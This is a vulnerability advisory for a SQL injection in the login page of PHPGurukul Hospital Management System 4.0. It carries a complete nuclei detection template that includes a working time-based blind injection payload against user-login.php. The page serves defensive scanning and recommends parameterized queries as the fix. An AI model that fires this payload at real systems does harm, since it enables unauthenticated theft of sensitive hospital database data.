PHPGurukul Hospital Management System 4.0 - SQL Injection

highseverity

7.5CVSS score

6.3%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\user-login.php. Remote unauthenticated users can exploit the vulnerability to obtain sensitive database information.

Impact

Successful exploitation allows attackers to access sensitive data from the database, potentially leading to data leakage and further compromise of the application.

Fix

Upgrade to the latest version or apply proper input sanitization and parameterized queries to mitigate this vulnerability.

How to confirm it

Send: @timeout: 30s
Positive when: contains(body, "Hospital Management") and status_code == 200
Send: @timeout: 30s
Positive when: duration>=8 and status_code == 200

Run it with nuclei: nuclei -id CVE-2020-22165 -u <target>

The full check

id: CVE-2020-22165

info:
  name: PHPGurukul Hospital Management System 4.0 - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\user-login.php. Remote unauthenticated users can exploit the vulnerability to obtain sensitive database information.
  impact: |
    Successful exploitation allows attackers to access sensitive data from the database, potentially leading to data leakage and further compromise of the application.
  remediation: |
    Upgrade to the latest version or apply proper input sanitization and parameterized queries to mitigate this vulnerability.
  reference:
    - https://github.com/itodaro/PHPGurukul_Hospital_Management_System4.0_cve
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22165
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-22165
    epss-score: 0.06348
    epss-percentile: 0.93695
    cwe-id: CWE-89
    cpe: cpe:2.3:a:phpgurukul:hospital_management_system:4.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: phpgurukul
    product: hospital_management_system
    fofa-query: title="Hospital Management System" && body="HMS"
  tags: cve2020,cve,hms,cms,sqli,phpgurukul,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        @timeout: 30s
        POST /hms/user-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Hospital Management")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /hms/user-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=a' and 1=2 union select 1,2,if(substring((select user() limit 0,1),1,1)='r',sleep(8),1),4,5,6,7,8,9#&password=asfsafafsafsaf&submit=1&submit=

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'duration>=8'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from